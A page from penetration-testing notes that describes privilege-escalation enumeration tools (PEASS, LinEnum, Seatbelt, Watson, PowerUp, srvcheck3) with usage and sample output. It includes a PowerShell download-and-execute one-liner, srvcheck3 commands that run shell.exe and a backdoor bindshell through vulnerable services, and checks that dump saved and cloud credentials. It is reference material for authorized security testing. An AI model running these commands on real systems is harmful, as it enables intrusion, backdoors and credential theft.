Infrastructure penetration testing notes
  • Initial page
  • Table Of Content
  • Infrastructure testing
    • Enumeration
      • Packet Capture
      • Host Discovery
      • Services / Ports
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 53 - DNS
        • 67 - DHCP
        • 69 - TFTP
        • 79 - Finger
        • 88 - Kerberos
        • 111 - RPC
        • 113 - ident
        • 135 - MSRPC
        • 137 - Netbios
        • 139/445 - SMB
        • 161 - SNMP
        • 177 - XDMCP
        • 363 - LDAP
        • 443 - HTTPS
        • 500 - IKE (IPSEC)
        • 512/513/514 - R Services
        • 623 - IPMI
        • 873 - RSYNC
        • 1099 - Java RMI
        • 1433 - Microsoft SQL
        • 1521 - Oracle DB
        • 2049 - NFS
        • 3306 - MySQL
        • 3389 - RDP
        • 5432 - PostgresSQL
        • 5900 - VNC
        • 5985 - WinRM
        • 6000 - X11
        • 6379 - Redis
        • 8080 - Jenkins
        • 11211 - Memcached
        • RDS
        • SQLite
        • Docker
      • IPV6
        • Scanning
        • Enumeration
        • Transfering files
        • Pivoting and routes
        • THC IPv6
    • Gaining Access
      • IP Forwarding
      • VLAN Information
      • Psexec
      • Upgrading shell
      • Reverse Shells One-Liners
      • Bruteforce
      • MITM cleartext protocols
      • Null session
      • LLMNR / NBT NS Spoofing
      • Port knocking
      • Downloading/Transfer files
      • Remote Desktop
      • NAC Bypass
      • Pass-The-Hash
    • Exploitation
      • Solaris
      • IPv6
      • Windows
        • Compiling Code
        • SMB Vulnerabilities
        • Kerberos Attacks
    • Privilege Escalation
      • Situational Awareness
        • Linux
        • Windows
          • Registry
          • PowerView
          • FSMO Roles
      • Windows
        • Disable Apps and Firewall
        • Add user script
        • UAC Bypass
        • icacls
        • Running services
        • Common Exploits
      • Linux
        • SUID Shell script
        • CVE-2019-14287
        • Kernel exploit
      • Solaris
      • FreeBSD
      • Automated tools
      • Metasploit Modules
      • Password Dumping
    • Breakout
      • LOLBas
      • powershell constrained language byass
      • Alternatives to command prompt
      • Windows utilities
      • Applocker
      • Restricted shells
      • Environmental Variables / Bypassing Path Restrictions
      • Docker escape
      • Just Enough Administration (JEA)
    • Presistance
      • Windows
    • Pivoting
      • Adding routes
    • Password Cracking
      • Hashcat
      • John
      • Cisco Passwords
      • Passwords Lists
      • Generating wordlist
    • Tools
      • Nishang
      • UACME
      • Bypass-UAC
      • MSBuildAPICaller
      • Impacket
      • SharpPersist
      • Terminals
      • IP Calculation
      • pwsh
      • psTools / Sysinternals
      • Unlock applocker
      • enum4linux
      • Bloodhound
        • aclpwn
      • mitm6
      • Enyx
      • nfsshell
      • PowerUpSQL
      • Metasploit
        • msfvenom
    • Others
Powered by GitBook
On this page
  • Summary
  • PEASS
  • BeRoot
  • Unix privesc check
  • Windows-Exploit-Suggester
  • Linux Exploit Suggester
  • Solaris Exploit suggester
  • LinEnum
  • Nishang
  • SharpUp
  • Seatbelt
  • JAWS
  • Watson
  • PowerUp
  • srvcheck3

Was this helpful?

  1. Infrastructure testing
  2. Privilege Escalation

Automated tools

Tools which will make your life easier in a search for privilege escalation paths

Summary

Name

Unix

Windows

Solaris

Mac

PEASS

sh

exe and bat

-

sh

BeRoot

py

exe

-

py

Unix privesc check

sh

-

-

-

Windows Exploit Suggester

-

systeminfo

-

-

Linux Exploit Suggester

perl

-

-

-

Solaris Exploit Suggester

-

-

showrev

-

LinEnum

sh

-

-

-

Nishang

-

PS

-

-

SharpUp

-

exe

-

-

Seatbelt

-

exe

-

-

JAWS

-

PS

-

-

Watson

-

exe

-

-

PowerUp

-

PS

-

-

srvcheck3

-

exe

-

-

PEASS

PEASS - Privilege Escalation Awesome Scripts SUITE

These tools search for possible local privilege escalation paths that you could exploit and print them to you with nice colors so you can recognize the misconfigurations easily.

BeRoot

Unix privesc check

Unix-privesc-checker is a script that runs on Unix systems (tested on Solaris 9, HPUX 11, Various Linuxes, FreeBSD 6.2). It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps (e.g. databases).

Usage:

$ ./unix-privesc-check > output.txt

Windows-Exploit-Suggester

This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.

It requires the 'systeminfo' command output from a Windows host in order to compare that the Microsoft security bulletin database and determine the patch level of the host.

USAGE:

update the database :

$ ./windows-exploit-suggester.py --update 
[*] initiating... 
[*] successfully requested base url 
[*] scraped ms download url 
[+] writing to file 2014-06-06-mssb.xlsx 
[*] done 

feed it "systeminfo" input, and point it to the microsoft database

$ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt

Linux Exploit Suggester

When run without arguments, the script performs a 'uname -r' to grab the Linux operating system release version, and returns a list of possible exploits. Links to CVEs and applicable exploit POCs are included. Keep in mind that a patched/back-ported patch may fool this script.

Usage:

$ ./linux-exploit-suggester.pl

Solaris Exploit suggester

This tool reads the output of “showrev -p” on Solaris machines and outputs a list of exploits that you might want to try. It currently focusses on local exploitation of Solaris 8 on SPARC, but other version of Solaris are partially supported.

Link:

Example Output:

$ head showrev.out 
Patch: 109618-01 Obsoletes:  Requires:  Incompatibles:  Packages: SUNWeuxwe, SUNWeuezt, SUNWeudlg, SUNWeudda 
Patch: 109889-01 Obsoletes: 109353-04 Requires:  Incompatibles:  Packages: SUNWkvmx, SUNWkvm, SUNWmdb, SUNWhea, SUNWpstl, SUNWpstlx 
Patch: 110369-05 Obsoletes: 110709-02 Requires:  Incompatibles:  Packages: SUNWkvmx, SUNWcarx, SUNWcsr 

Running:

$ ./exploit-suggestions.pl 8 sparc showrev.out 
exploit-suggester v0.1 ( http://pentestmonkey.net/tools/exploit-suggester ) 
 ------------------------------------------------------------- 
|                     Runtime options                         | 
 ------------------------------------------------------------- 
Solaris version: ................ 8 
Architecture: ................... sparc 
Patch file: ..................... showrev.out 
Exploit database: ............... sploitdb.txt 
Don't list sploits rated as ..... N/A - Exclude no ratings 
List only sploits rated as ...... N/A - List any rating 
List only local sploits ......... N/A - Show both 

 ------------------------------------------------------------- 
|                   Suggested Exploits                        | 
 ------------------------------------------------------------- 
Description:          'at' Arbitrary File Deletion 
Remote:               0 
Exploit Rating:       1 (Sploit normally works) 
Patch installed:      108875-10 
Min vulnerable patch: 108875-00 
Max vulnerable patch: 108875-12 
Exploit Link:         http://www.securityfocus.com/data/vulnerabilities/exploits/isec-solaris-at-rm.c 
Exploit Link:         http://www.securityfocus.com/data/vulnerabilities/exploits/solaris-at.c 
Info Link:            http://securityfocus.com/bid

LinEnum

Scripted Local Linux Enumeration & Privilege Escalation Checks

version 0.982

  • Example: ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t

OPTIONS:

  • -k Enter keyword

  • -e Enter export location

  • -t Include thorough (lengthy) tests

  • -s Supply current user password to check sudo perms (INSECURE)

  • -r Enter report name

  • -h Displays this help text

Running with no options = limited scans/no output file

Nishang

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.

Also installed by default on Kali:

root@kali:~# ls -l /usr/share/nishang/

Escalation scripts:

SharpUp

SharpUp is a C# port of various PowerUp functionality. Currently, only the most common checks have been ported; no weaponization functions have yet been implemented.

Usage:

C:\Temp>SharpUp.exe 
=== SharpUp: Running Privilege Escalation Checks === 
 
=== Modifiable Services === 
Name             : VulnSvc 
DisplayName      : VulnSvc 
Description      : 
State            : Stopped 
StartMode        : Auto 
PathName         : C:\Program Files\VulnSvc\VulnSvc.exe 

=== Modifiable Service Binaries === 
Name             : VulnSvc2 
DisplayName      : VulnSvc22 
Description      : 
State            : Stopped 
StartMode        : Auto 
PathName         : C:\VulnSvc2\VulnSvc2.exe 

=== AlwaysInstallElevated Registry Keys === 
 
=== Modifiable Folders in %PATH% === 
Modifable %PATH% Folder  : C:\Go\bin 

=== Modifiable Registry Autoruns === 

=== *Special* User Privileges === 

=== Unattended Install Files === 

=== McAfee Sitelist.xml Files === 

[*] Completed Privesc Checks in 11 seconds 

Seatbelt

Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.

Usage

SeatBelt.exe all will run ALL enumeration checks, can be combined with full.

SeatBelt.exe [CheckName] full will prevent any filtering and will return complete results.

SeatBelt.exe [CheckName] [CheckName2] ... will run one or more specified checks only (case-sensitive naming!)

SeatBelt.exe system collects the following system data:

BasicOSInfo           -   Basic OS info (i.e. architecture, OS version, etc.) 
RebootSchedule        -   Reboot schedule (last 15 days) based on event IDs 12 and 13 
TokenGroupPrivs       -   Current process/token privileges (e.g. SeDebugPrivilege/etc.) 
UACSystemPolicies     -   UAC system policies via the registry 
PowerShellSettings    -   PowerShell versions and security settings 
AuditSettings         -   Audit settings via the registry 
WEFSettings           -   Windows Event Forwarding (WEF) settings via the registry 
LSASettings           -   LSA settings (including auth packages) 
UserEnvVariables      -   Current user environment variables 
SystemEnvVariables    -   Current system environment variables 
UserFolders           -   Folders in C:\Users\ 
NonstandardServices   -   Services with file info company names that don't contain 'Microsoft' 
InternetSettings      -   Internet settings including proxy configs 
LapsSettings          -   LAPS settings, if installed 
LocalGroupMembers     -   Members of local admins, RDP, and DCOM 
MappedDrives          -   Mapped drives 
RDPSessions           -   Current incoming RDP sessions 
WMIMappedDrives       -   Mapped drives via WMI 
NetworkShares         -   Network shares 
FirewallRules         -   Deny firewall rules, "full" dumps all 
AntiVirusWMI          -   Registered antivirus (via WMI) 
InterestingProcesses  -   "Interesting" processes- defensive products and admin tools 
RegistryAutoRuns      -   Registry autoruns 
RegistryAutoLogon     -   Registry autologon information 
DNSCache              -   DNS cache entries (via WMI) 
ARPTable              -   Lists the current ARP table and adapter information (equivalent to arp -a) 
AllTcpConnections     -   Lists current TCP connections and associated processes 
AllUdpConnections     -   Lists current UDP connections and associated processes 
NonstandardProcesses  -   Running processeswith file info company names that don't contain 'Microsoft' 
  *  If the user is in high integrity, the following additional actions are run: 
SysmonConfig          -   Sysmon configuration from the registry 

SeatBelt.exe user collects the following user data:

SavedRDPConnections   -   Saved RDP connections 
TriageIE              -   Internet Explorer bookmarks and history (last 7 days) 
DumpVault             -   Dump saved credentials in Windows Vault (i.e. logins from Internet Explorer and Edge), from SharpWeb 
RecentRunCommands     -   Recent "run" commands 
PuttySessions         -   Interesting settings from any saved Putty configurations 
PuttySSHHostKeys      -   Saved putty SSH host keys 
CloudCreds            -   AWS/Google/Azure cloud credential files (SharpCloud) 
RecentFiles           -   Parsed "recent files" shortcuts (last 7 days) 
MasterKeys            -   List DPAPI master keys 
CredFiles             -   List Windows credential DPAPI blobs 
RDCManFiles           -   List Windows Remote Desktop Connection Manager settings files 
  *  If the user is in high integrity, this data is collected for ALL users instead of just the current user 

Non-default collection options:

CurrentDomainGroups   -   The current user's local and domain groups 
Patches               -   Installed patches via WMI (takes a bit on some systems) 
LogonSessions         -   User logon session data 
KerberosTGTData       -   ALL TEH TGTZ! 
InterestingFiles      -   "Interesting" files matching various patterns in the user's folder 
IETabs                -   Open Internet Explorer tabs 
TriageChrome          -   Chrome bookmarks and history 
TriageFirefox         -   Firefox history (no bookmarks) 
RecycleBin            -   Items in the Recycle Bin deleted in the last 30 days - only works from a user context! 
4624Events            -   4624 logon events from the security event log 
4648Events            -   4648 explicit logon events from the security event log 
KerberosTickets       -   List Kerberos tickets. If elevated, grouped by all logon sessions.

JAWS

JAWS - Just Another Windows (Enum) Script

JAWS is PowerShell script designed to help penetration testers (and CTFers) quickly identify potential privilege escalation vectors on Windows systems. It is written using PowerShell 2.0 so 'should' run on every Windows version since Windows 7.

Usage:

Run from within CMD shell and write out to file.

CMD C:\temp> powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt

Run from within CMD shell and write out to screen.

CMD C:\temp> powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1

Run from within PS Shell and write out to file.

PS C:\temp> .\jaws-enum.ps1 -OutputFileName Jaws-Enum.txt

Watson

Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities.

Usage:

Usage: 
C:> Watson.exe 
__    __      _ 
/ / /\ \ \__ _| |_ ___  ___  _ __ 
\ \/  \/ / _` | __/ __|/ _ \| '_ \ 
  \  /\  / (_| | |_\__ \ (_) | | | | 
   \/  \/ \__,_|\__|___/\___/|_| |_| 

v2.0 

@_RastaMouse 

[*] OS Build Number: 14393 
[*] Enumerating installed KBs... 

[!] CVE-2019-0836 : VULNERABLE 
  [>] https://exploit-db.com/exploits/46718 
  [>] https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/ 

[!] CVE-2019-0841 : VULNERABLE 
  [>] https://github.com/rogue-kdc/CVE-2019-0841 
  [>] https://rastamouse.me/tags/cve-2019-0841/ 

[!] CVE-2019-1064 : VULNERABLE 
  [>] https://www.rythmstick.net/posts/cve-2019-1064/ 

[!] CVE-2019-1130 : VULNERABLE 
  [>] https://github.com/S3cur3Th1sSh1t/SharpByeBear 

[!] CVE-2019-1253 : VULNERABLE 
  [>] https://github.com/padovah4ck/CVE-2019-1253 

[!] CVE-2019-1315 : VULNERABLE 
  [>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html 

[*] Finished. Found 6 potential vulnerabilities. 

PowerUp

Download and run:

powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks

For all checks:

PS C:\Users\mssql-svc\appdata\local\temp> Invoke-AllChecks

srvcheck3

Privilege escalation for Windows XP SP2 and before

This can exploit vulnerable services. http://seclists.org/fulldisclosure/2006/Feb/231

Example:

srvcheck3.exe -m upnphost -H 127.0.0.1 -c "cmd.exe /c c:\Inetpub\wwwroot\shell.exe"

View menu:

D:\Programación\srvcheck2>srvcheck3.exe -?

examples:

Srvcheck3.exe -l (list local vulnerabilities)

Srvcheck3.exe -l -H 192.168.1.1-192.168.1.255 -u domainuser -p domainpass

Srvcheck3.exe -l -f hosts.txt -u DOMAINuser -p password (list remote vulnerabilities)

Srvcheck3.exe -m service -H host -c "cmd.exe /c md c:\PWNED"

Srvcheck3.exe -m vulnservice -H 192.168.1.200 -u domainuser -p domainpass -r 192.168.1.1 21 backdoor.exe (exe cutes backdoor.exe bindshell)

PreviousFreeBSDNextMetasploit Modules

Last updated 4 years ago

Was this helpful?

Link:

Check the Local Windows Privilege Escalation checklist from

- Windows local Privilege Escalation Awesome Script (C#.exe and .bat)

Check the Local Linux Privilege Escalation checklist from

- Linux local Privilege Escalation Awesome Script (.sh)

BeRoot Project is a post exploitation tool to check common misconfigurations to find a way to escalate our privilege. It has been added to the project as a post exploitation module (so it will be executed in memory without touching the disk).

Link:

Windows pre compiled versions:

Linux:

Link:

Link:

Link:

 – When SYSTEM privileges are required.

 – Introduce vulnerabilities by removing patches.

 – Bypass UAC.

Link:

Link:

Link:

Cheat sheet:

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/README.md
book.hacktricks.xyz
WinPEAS
book.hacktricks.xyz
LinPEAS
pupy
https://github.com/AlessandroZ/BeRoot
https://github.com/AlessandroZ/BeRoot/releases
https://github.com/AlessandroZ/BeRoot/tree/master/Linux
https://github.com/pentestmonkey/unix-privesc-check
http://pentestmonkey.net/tools/audit/exploit-suggester
https://github.com/rebootuser/LinEnum
https://github.com/samratashok/nishang
Enable-DuplicateToken
Remove-Update
Invoke-PsUACme
https://github.com/GhostPack/SharpUp
GitHub - 411Hall/JAWS: JAWS - Just Another Windows (Enum) Script
GitHub - rasta-mouse/Watson: Enumerate missing KBs and...
https://github.com/HarmJ0y/CheatSheets/blob/master/PowerUp.pdf